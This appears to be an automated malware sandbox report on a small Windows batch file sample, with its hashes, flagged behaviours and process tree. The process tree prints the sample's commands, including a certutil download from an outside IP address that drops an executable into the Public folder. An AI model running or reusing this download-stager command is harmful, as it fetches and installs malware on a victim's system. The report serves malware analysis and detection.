Analysis
- max time kernel
150s - max time network
139s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
25/08/2026, 12:26
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
windows.bat
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
5 signatures
150 seconds
General
- Target windows.bat
- Size 501B
- Sample260825-pmjf2syvbx
- SHA256 b4bd5a8008ea522c899a4870e5861d89b1817fdf461b9c48ca0ade0e2f4597b2
- MD5 bd69a712d8ed4ef4889a769b2a90412e
- SHA1 52f898ad688cf5e11f48a59339219c7efaa386a3
- SHA512 ef6d37a9e49beeedcee20fb20698d0bd4f7c63cd3a410777f19e2f20f3114cfc745caf23926d74589c2a14c8b0928ada7aef24f83a8eb1058d279e213549578e
- TLSH T13FF09ECD242609B117C5DC13F4A15199B07B407ACE319585AF4051DE2DC61D97AFAFCA
- MD5 SHA1 SHA512 TLSH
Score
3/10
Malware Config
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2688 cmd.exe 5784 cmd.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5460 WMIC.exe 5460 WMIC.exe 5460 WMIC.exe 5460 WMIC.exe - Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5460 WMIC.exe Token: SeSecurityPrivilege 5460 WMIC.exe Token: SeTakeOwnershipPrivilege 5460 WMIC.exe Token: SeLoadDriverPrivilege 5460 WMIC.exe Token: SeSystemProfilePrivilege 5460 WMIC.exe Token: SeSystemtimePrivilege 5460 WMIC.exe Token: SeProfSingleProcessPrivilege 5460 WMIC.exe Token: SeIncBasePriorityPrivilege 5460 WMIC.exe Token: SeCreatePagefilePrivilege 5460 WMIC.exe Token: SeBackupPrivilege 5460 WMIC.exe Token: SeRestorePrivilege 5460 WMIC.exe Token: SeShutdownPrivilege 5460 WMIC.exe Token: SeDebugPrivilege 5460 WMIC.exe Token: SeSystemEnvironmentPrivilege 5460 WMIC.exe Token: SeRemoteShutdownPrivilege 5460 WMIC.exe Token: SeUndockPrivilege 5460 WMIC.exe Token: SeManageVolumePrivilege 5460 WMIC.exe Token: 33 5460 WMIC.exe Token: 34 5460 WMIC.exe Token: 35 5460 WMIC.exe Token: 36 5460 WMIC.exe Token: SeIncreaseQuotaPrivilege 5460 WMIC.exe Token: SeSecurityPrivilege 5460 WMIC.exe Token: SeTakeOwnershipPrivilege 5460 WMIC.exe Token: SeLoadDriverPrivilege 5460 WMIC.exe Token: SeSystemProfilePrivilege 5460 WMIC.exe Token: SeSystemtimePrivilege 5460 WMIC.exe Token: SeProfSingleProcessPrivilege 5460 WMIC.exe Token: SeIncBasePriorityPrivilege 5460 WMIC.exe Token: SeCreatePagefilePrivilege 5460 WMIC.exe Token: SeBackupPrivilege 5460 WMIC.exe Token: SeRestorePrivilege 5460 WMIC.exe Token: SeShutdownPrivilege 5460 WMIC.exe Token: SeDebugPrivilege 5460 WMIC.exe Token: SeSystemEnvironmentPrivilege 5460 WMIC.exe Token: SeRemoteShutdownPrivilege 5460 WMIC.exe Token: SeUndockPrivilege 5460 WMIC.exe Token: SeManageVolumePrivilege 5460 WMIC.exe Token: 33 5460 WMIC.exe Token: 34 5460 WMIC.exe Token: 35 5460 WMIC.exe Token: 36 5460 WMIC.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2688 wrote to memory of 5784 2688 cmd.exe 90 PID 5784 wrote to memory of 5460 5784 cmd.exe 91 PID 5784 wrote to memory of 1308 5784 cmd.exe 92 PID 2688 wrote to memory of 272 2688 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5784 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5460
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:1308
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://192.238.141.140:443/?h=192.238.141.140&p=443&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"2⤵PID:272
-